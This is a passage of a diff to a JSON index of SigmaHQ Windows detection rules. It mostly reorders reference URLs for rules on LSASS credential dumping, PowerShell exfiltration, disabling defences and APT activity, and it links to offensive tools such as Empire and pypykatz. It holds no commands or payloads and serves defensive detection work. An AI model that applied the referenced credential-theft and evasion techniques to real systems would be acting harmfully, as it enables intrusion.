"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_upload.yml" + "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md" ], "tags": [ "attack.exfiltration", @@ -32021,8 +32019,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_using_set_service_to_hide_services.yml" ], "tags": [ @@ -32048,9 +32046,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request.yml", + "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/" ], "tags": [ "attack.execution", @@ -32097,12 +32095,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps", - "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", - "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", "http://woshub.com/manage-windows-firewall-powershell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml", + "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml" + "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", + "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps" ], "tags": [ "attack.defense_evasion", @@ -32125,8 +32123,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_winlogon_helper_dll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_winlogon_helper_dll.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md" ], "tags": [ "attack.persistence", @@ -32149,8 +32147,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml", + "https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html" ], "tags": [ "attack.defense_evasion", @@ -32175,8 +32173,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/FortyNorthSecurity/WMImplant", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmimplant.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmimplant.yml", + "https://github.com/FortyNorthSecurity/WMImplant" ], "tags": [ "attack.execution", @@ -32200,9 +32198,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md", "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md" ], "tags": [ "attack.privilege_escalation", @@ -32225,10 +32223,10 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml", "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml" + "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/" ], "tags": [ "attack.execution", @@ -32251,8 +32249,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests" ], "tags": [ "attack.execution", @@ -32299,10 +32297,10 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1541920424635912196", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_susp_seclogon.yml", "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml", "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_susp_seclogon.yml" + "https://twitter.com/SBousseaden/status/1541920424635912196" ], "tags": [ "attack.credential_access", @@ -32355,8 +32353,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/boku7/injectAmsiBypass", - "https://github.com/boku7/spawn", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cobaltstrike_bof_injection_pattern.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cobaltstrike_bof_injection_pattern.yml", + "https://github.com/boku7/spawn" ], "tags": [ "attack.execution", @@ -32381,11 +32379,11 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cred_dump_lsass_access.yml", "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cred_dump_lsass_access.yml" + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html" ], "tags": [ "attack.credential_access", @@ -32410,8 +32408,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_direct_syscall_ntopenprocess.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_direct_syscall_ntopenprocess.yml", + "https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6" ], "tags": [ "attack.execution", @@ -32434,8 +32432,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", "https://github.com/codewhitesec/SysmonEnte/", + "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", "https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hack_sysmonente.yml" ], @@ -32486,9 +32484,9 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://github.com/hlldz/Invoke-Phant0m", "https://twitter.com/timbmsft/status/900724491076214784", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_invoke_phantom.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_invoke_phantom.yml", + "https://github.com/hlldz/Invoke-Phant0m" ], "tags": [ "attack.defense_evasion", @@ -32511,8 +32509,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://azure.microsoft.com/en-ca/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_in_memory_assembly_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_in_memory_assembly_execution.yml", + "https://azure.microsoft.com/en-ca/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/" ], "tags": [ "attack.privilege_escalation", @@ -32537,8 +32535,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://twitter.com/bh4b3sh/status/1303674603819081728", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lazagne_cred_dump_lsass_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lazagne_cred_dump_lsass_access.yml", + "https://twitter.com/bh4b3sh/status/1303674603819081728" ], "tags": [ "attack.credential_access", @@ -32587,8 +32585,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/", "https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611", + "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_load_undocumented_autoelevated_com_interface.yml" ], "tags": [ @@ -32614,8 +32612,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/shantanukhande/status/1229348874298388484", - "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml", + "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/" ], "tags": [ "attack.credential_access", @@ -32638,10 +32636,10 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", "https://research.splunk.com/endpoint/windows_possible_credential_dumping/", + "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml" ], "tags": [ @@ -32666,10 +32664,10 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://twitter.com/_xpn_/status/1491557187168178176", "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", - "https://twitter.com/mrd0x/status/1460597833917251595", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_evasion.yml" + "https://twitter.com/_xpn_/status/1491557187168178176", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_evasion.yml", + "https://twitter.com/mrd0x/status/1460597833917251595" ], "tags": [ "attack.credential_access", @@ -32693,8 +32691,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://twitter.com/_xpn_/status/1491557187168178176", "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", + "https://twitter.com/_xpn_/status/1491557187168178176", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_indicators.yml" ], "tags": [ @@ -32720,8 +32718,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml", + "https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507" ], "tags": [ "attack.credential_access", @@ -32745,8 +32743,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://twitter.com/JohnLaTwC/status/837743453039534080", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_malware_verclsid_shellcode.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_malware_verclsid_shellcode.yml", + "https://twitter.com/JohnLaTwC/status/837743453039534080" ], "tags": [ "attack.defense_evasion", @@ -32799,8 +32797,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://github.com/skelsec/pypykatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_pypykatz_cred_dump_lsass_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_pypykatz_cred_dump_lsass_access.yml", + "https://github.com/skelsec/pypykatz" ], "tags": [ "attack.credential_access", @@ -32823,12 +32821,12 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_rare_proc_access_lsass.yml", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_rare_proc_access_lsass.yml" + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights" ], "tags": [ "attack.credential_access", @@ -32852,10 +32850,10 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass.yml" ], @@ -32881,12 +32879,12 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml" + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights" ], "tags": [ "attack.credential_access", @@ -32981,8 +32979,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_debug_privilege.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_debug_privilege.yml", + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg" ], "tags": [ "attack.privilege_escalation", @@ -33031,11 +33029,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_accesschk_usage_after_priv_escalation.yml", "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43", - "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", - "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", "https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_accesschk_usage_after_priv_escalation.yml" + "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", + "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat" ], "tags": [ "attack.discovery", @@ -33058,13 +33056,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", - "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_ip_scanner.yml" + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_ip_scanner.yml", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer" ], "tags": [ "attack.discovery", @@ -33138,8 +33136,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml", + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg" ], "tags": [ "attack.privilege_escalation", @@ -33237,8 +33235,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/TheDFIRReport/status/1423361119926816776?s=20", - "https://support.anydesk.com/Automatic_Deployment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_silent_install.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_silent_install.yml", + "https://support.anydesk.com/Automatic_Deployment" ], "tags": [ "attack.command_and_control", @@ -33310,9 +33308,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/", "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt29_thinktanks.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt29_thinktanks.yml", + "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/" ], "tags": [ "attack.execution", @@ -33336,8 +33334,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_babyshark.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_babyshark.yml", + "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" ], "tags": [ "attack.execution", @@ -33365,8 +33363,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bear_activity_gtr19.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bear_activity_gtr19.yml", + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/" ], "tags": [ "attack.credential_access", @@ -33414,8 +33412,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_chafer_mar18.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_chafer_mar18.yml", + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/" ], "tags": [ "attack.persistence", @@ -33470,9 +33468,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_dragonfly.yml", "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control", - "https://attack.mitre.org/software/S0488/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_dragonfly.yml" + "https://attack.mitre.org/software/S0488/" ], "tags": [ "attack.g0035", @@ -33498,8 +33496,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_elise.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_elise.yml", + "https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting" ], "tags": [ "attack.g0030", @@ -33526,8 +33524,8 @@ "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/579e7587-f09d-4aae-8b07-472833262965", - "https://twitter.com/cyb3rops/status/1168863899531132929", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_emissarypanda_sep19.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_emissarypanda_sep19.yml", + "https://twitter.com/cyb3rops/status/1168863899531132929" ], "tags": [ "attack.defense_evasion", @@ -33550,8 +33548,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/a4107649-8cb0-41af-ad75-113152d4d57b", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_empiremonkey.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_empiremonkey.yml", + "https://app.any.run/tasks/a4107649-8cb0-41af-ad75-113152d4d57b" ], "tags": [ "attack.defense_evasion", @@ -33574,9 +33572,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/adamcaudill/EquationGroupLeak/search?utf8=%E2%9C%93&q=dll_u&type=", - "https://securelist.com/apt-slingshot/84312/", "https://twitter.com/cyb3rops/status/972186477512839170", + "https://securelist.com/apt-slingshot/84312/", + "https://github.com/adamcaudill/EquationGroupLeak/search?utf8=%E2%9C%93&q=dll_u&type=", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_equationgroup_dll_u_load.yml" ], "tags": [ @@ -33601,9 +33599,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_evilnum_jul20.yml", "https://app.any.run/tasks/33d37fdf-158d-4930-aa68-813e1d5eb8ba/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_evilnum_jul20.yml" + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" ], "tags": [ "attack.defense_evasion", @@ -33626,9 +33624,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium.yml", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/" ], "tags": [ "attack.credential_access", @@ -33653,9 +33651,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", 